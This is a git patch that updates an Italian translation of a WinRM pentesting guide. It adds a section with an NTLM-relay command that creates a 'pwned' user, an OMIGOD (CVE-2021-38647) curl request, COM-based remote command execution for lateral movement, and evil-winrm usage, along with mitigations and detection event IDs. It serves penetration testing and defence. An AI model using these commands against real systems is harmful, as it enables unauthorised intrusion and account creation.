From 1ca54d78c3bff3db8ff31e5626463301769e7d20 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 13 Aug 2025 16:15:19 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm. --- .../5985-5986-pentesting-winrm.md | 73 ++++++++++++++++++- 1 file changed, 69 insertions(+), 4 deletions(-) diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 3624c68fa..7d0487666 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -15,7 +15,7 @@ Una porta aperta dall'elenco sopra indica che WinRM è stato configurato, consen ### **Iniziare una sessione WinRM** -Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, impostando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile: +Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, configurando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile: ```bash Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * @@ -28,9 +28,9 @@ wmic /node: process call create "powershell enable-psremoting -forc ``` Questo metodo consente la configurazione remota di WinRM, migliorando la flessibilità nella gestione delle macchine Windows da lontano. -### Testare se configurato +### Verifica se configurato -Per verificare la configurazione della tua macchina di attacco, il comando `Test-WSMan` viene utilizzato per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato: +Per verificare la configurazione della tua macchina di attacco, viene utilizzato il comando `Test-WSMan` per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato: - Per un target che **è** configurato correttamente, l'output apparirà simile a questo: ```bash @@ -142,7 +142,7 @@ crackmapexec winrm -d -u -H -X '$PSVersionT ```ruby gem install evil-winrm ``` -Leggi **documentazione** sul suo github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) +Leggi **documentazione** su github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` @@ -220,8 +220,73 @@ end - `port:5985 Microsoft-HTTPAPI` +--- + +## Vulnerabilità Recenti e Tecniche Offensive (2021-2025) + +### Relay NTLM direttamente a WinRM (WS-MAN) +Dalla versione 0.11 di Impacket (Maggio 2023) `ntlmrelayx.py` può rilanciare le credenziali NTLM catturate direttamente a un listener **WS-MAN**/WinRM. Quando un host continua ad ascoltare su **HTTP non criptato (5985)**, un attaccante può combinare *mitm6* (o *Responder*) per forzare l'autenticazione e ottenere l'esecuzione di codice a livello SYSTEM: +```bash +sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \ +--command "net user pwned P@ssw0rd! /add" +``` +Mitigazioni +* Disabilita i listener HTTP – `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false` +* Forza HTTPS e abilita la Protezione Estesa per l'Autenticazione (EPA) sulle versioni recenti di Windows. + +### OMIGOD – CVE-2021-38647 (Azure OMI) +Gli agenti Linux di Azure utilizzano il servizio **Open Management Infrastructure (OMI)** che espone l'API WinRM/WS-MAN sulle porte **5985/5986**. Un errore logico ha consentito **RCE non autenticato come root**: +```text +curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '' +``` +Patch o rimuovi OMI (versione ≥ 1.6.8-1) e blocca quelle porte da Internet. + +### Abuso di WSMan.Automation COM per movimento laterale +WinRM può essere controllato senza PowerShell tramite l'oggetto COM `WSMan.Automation` – utile su sistemi in modalità Constrained-Language. Strumenti come *SharpWSManWinRM* avvolgono questa tecnica: +```powershell +$ws = New-Object -ComObject 'WSMan.Automation' +$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null) +$cmdId = $session.Command('cmd.exe',@('/c','whoami')) +$session.Signal($cmdId,0) +``` +La catena di esecuzione (`svchost → wmiprvse → cmd.exe`) è identica al classico PS-Remoting. + +--- + +## Aggiornamenti degli strumenti + +* **Evil-WinRM v3.x (2024)** – ora supporta l'autenticazione **Kerberos** (`-k` / `--spn`) e l'autenticazione **basata su certificato** (`--cert-pem`/`--key-pem`), registrazione delle sessioni (`-L`) e la possibilità di disabilitare il completamento del percorso remoto (`-N`). + +```bash +RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST +``` + +* **Python – `pypsrp` 0.9 (2024)** offre WinRM e PS-Remoting da Linux, inclusi CredSSP e Kerberos: + +```python +from psrp.client import Client +c = Client('srv01', username='ACME\\j.doe', ssl=True) +print(c.execute_cmd('ipconfig /all').std_out.decode()) +``` + +* **Rilevamento** – monitora il registro **Microsoft-Windows-WinRM/Operational**: +* Evento 91 / 163 – shell creata +* Evento 182 – errore di autenticazione +* Nel registro di Sicurezza, l'evento 4262 registra l'IP sorgente (aggiunto nei CUs di luglio 2022). +Raccogli questi dati centralmente e invia avvisi su IP anonimi o esterni. + +--- + +## Shodan + +- `port:5985 Microsoft-HTTPAPI` + ## Riferimenti +- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) +- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/) +- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure) + - [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) ## HackTricks Comandi Automatici